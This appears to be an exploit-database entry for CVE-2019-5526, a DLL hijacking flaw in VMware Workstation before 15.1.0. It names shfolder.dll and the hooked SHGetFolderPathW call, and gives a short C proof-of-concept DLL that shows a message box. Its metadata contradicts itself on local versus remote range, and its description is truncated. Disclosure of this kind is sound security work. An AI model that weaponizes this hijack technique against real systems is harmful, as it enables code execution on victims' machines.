VMware Workstation DLL Hijacking

2019.05.17

Credit: Miguel Mendez Z

Risk: Medium

Local: Yes

Remote: No

CVE: CVE-2019-5526

CWE: CWE-264

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

#---------------------------------------------------------
# Title: VMware Workstation DLL hijacking < 15.1.0
# Date: 2019-05-14
# Author: Miguel Mendez Z. & Claudio Cortes C.
# Team: www.exploiting.cl
# Vendor: https://www.vmware.com
# Version: VMware Workstation Pro / Player (Workstation)
# Tested on: Windows Windows 7_x86/7_x64 [eng]
# Cve: CVE-2019-5526
#---------------------------------------------------------


Description:

VMware Workstation contains a DLL hijacking issue because some DLL.


DLL Hijacking: shfolder.dll
Hooking: SHGetFolderPathW()

------Code_Poc-------
#include "dll.h"
#include <windows.h>

DLLIMPORT void SHGetFolderPathW()
{
MessageBox(0, "s1kr10s", "VMWare-Poc", MB_ICONINFORMATION);
exit(0);
}

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https://www.vmware.com/security/advisories/VMSA-2019-0007.html

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